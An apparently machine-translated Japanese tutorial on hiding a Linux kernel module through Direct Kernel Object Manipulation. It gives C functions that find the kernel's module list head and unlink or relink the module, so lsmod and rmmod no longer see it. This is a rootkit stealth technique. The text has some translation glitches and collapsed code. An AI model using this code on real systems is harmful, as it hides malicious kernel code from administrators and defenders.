ご存知のように、ユーザーのいたるところにある「目」からカーネルモジュールを隠すタスクには、多くのアプリケーションがあります。 この記事では、
DKOM (Direct Kernel Object Manipulation)の使用について説明します。これは、カーネルの内部構造を変更することで情報を隠すことができる技術の1つです。
次に、システム内のモジュールの存在の目に見える兆候を隠し、結果としてそれをアンロードできないことを隠すために、このテクニックのアプリケーションの機能を検討します。
名前が示すように、DKOMはカーネルの内部構造を操作する操作に基づいています。 この場合、変更される構造は、システムにロードされたすべての
モジュールへのリンクを含む
モジュールの内部
リストです 。
カーネル内のモジュールのプレゼンテーション
Linuxカーネルモジュール記述子の構造は、同じ名前の構造であり、次のように
linux / modules.hで説明されています。
223 struct module 224 { 225 enum module_state state; 226 227 228 struct list_head list; 229 230 231 char name[MODULE_NAME_LEN]; ... 378 };
とりわけ、この構造には
list
フィールドが含まれます。これはリンクリストの要素であり、このフィールドを介してカーネルモジュールの一般リストにリンクされます。 後者は、
カーネル/ module.cファイルで宣言され、対応する(エクスポートされた)
ミューテックスによって保護された、エクスポートできない内部リスト
です 。
103 DEFINE_MUTEX(module_mutex); 104 EXPORT_SYMBOL_GPL(module_mutex); 105 static LIST_HEAD(modules);
モジュールをロードすると、カーネルはモジュールをリストに追加します。 アンロード時-除外。 一般に、何らかの方法でロードされたモジュールの列挙を必要とするすべての操作は、この内部リストのカーネルによる繰り返しになります。
ロードされたモジュールの列挙
システムにロードされたモジュールをリストするには、現在のモジュールの記述子構造を参照する
THIS_MODULE
マクロを使用すると便利です。 先に検討した
list
フィールドは、カーネルの腸内のどこかにヘッド記述子を持つモジュールの一般リストの要素になります。 したがって、システムにロードされたモジュールのリストをリストする機能は
次のとおりです。
static void list_modules(void) { struct module * mod; struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); debug("List of available modules:\n"); list_for_each(pos, &THIS_MODULE->list) { bool head = (unsigned long)pos >= MODULES_VADDR; mod = container_of(pos, struct module, list); debug(" pos:%pK mod:%pK [%s]\n", pos, \ head ? mod : 0, head ? mod->name : "<- looking for"); } mutex_unlock(&module_mutex); }
ご覧のとおり、まず、対応するミューテックスをキャプチャして、列挙時に誰かがモジュールの1つをアンロードしようとしても同期に問題がないようにする必要があります。
さらに、列挙の重要なポイントは、リストの先頭のアドレス、つまり
モジュール構造の決定です。 Linuxカーネルでリンクリストを整理する特性のため、ヘッドはどのモジュールにも接続されていません。 また、 モジュール記述子がモジュール範囲のアドレス(
MODULES_VADDR -
MODULES_END )から割り当てられる場合、アドレスがこの範囲に属しているかどうかを判断するのは簡単です。 以下は、マシンの1つで取得したこの関数の結果です。
[11025.656372] [findme] List of available modules: [11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth] [11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub] [11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci] [11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp] [11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt] ... [11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x] [11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169] [11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]
最後の行は、目的の構造が
ffffffff81c2daf0
にあることを明確に示しています。これは、コマンドを実行することで確認できます。
したがって、任意のモジュールを使用して、リスト項目をソートし、ルート構造を簡単に見つけることができます。 その際立った機能は、モジュールに一般的ではないアドレス(
ffffffff81xxxxxx
対
ffffffffa0xxxxxx
)であり、
使用されました :
struct list_head * get_modules_head(void) { struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); list_for_each(pos, &THIS_MODULE->list) { if ((unsigned long)pos < MODULES_VADDR) { break; } } mutex_unlock(&module_mutex); if (pos) { debug("Found \"modules\" head @ %pK\n", pos); } else { debug("Can't find \"modules\" head, aborting\n"); } return pos; }
モジュールリストの操作
モジュールの隠蔽は原則として難しくありません。なぜなら、 リストからアイテムを削除する操作には、このアイテム以外は必要ありません。 再挿入操作には、既存のリスト項目のいずれかが必要です。 この場合、システムのルート要素が使用されます。 したがって、モジュールの非表示と再追加は
次のとおりです。
static void hide_or_show(int new) { while(!mutex_trylock(&module_mutex)) cpu_relax(); if (new == 1) { list_del(&THIS_MODULE->list); debug("Module \"%s\" unlinked\n", THIS_MODULE->name); } else { list_add(&THIS_MODULE->list, p_modules); debug("Module \"%s\" linked again\n", THIS_MODULE->name); } mutex_unlock(&module_mutex); }
最初のケースで
は 、
list_delを使用してリストを除外します。 2番目の
list_add 両方の操作は、対応するミューテックスをキャプチャすることにより保護されます。
実用部
準備された
例には、マスキング関数を実装するモジュールコードが含まれています。 確認するには、モジュールをビルドし、
make
および
insmod
使用して標準ツールでロードする必要があります
さらに、ロード後すぐに、モジュールは
lsmod
または
rmmod
介して利用可能になります。 以下は、マスキング機能を検証する一連のアクションです。
したがって、コアモジュールをpr索好きな目から単純に隠すことが可能です。 提示された
例には、実験に必要なコードが含まれています。
読むために
1.
カーネルオブジェクトの直接操作2.
Linuxカーネルのリンクリストの説明3.
Linuxカーネルの設計パターン-パート2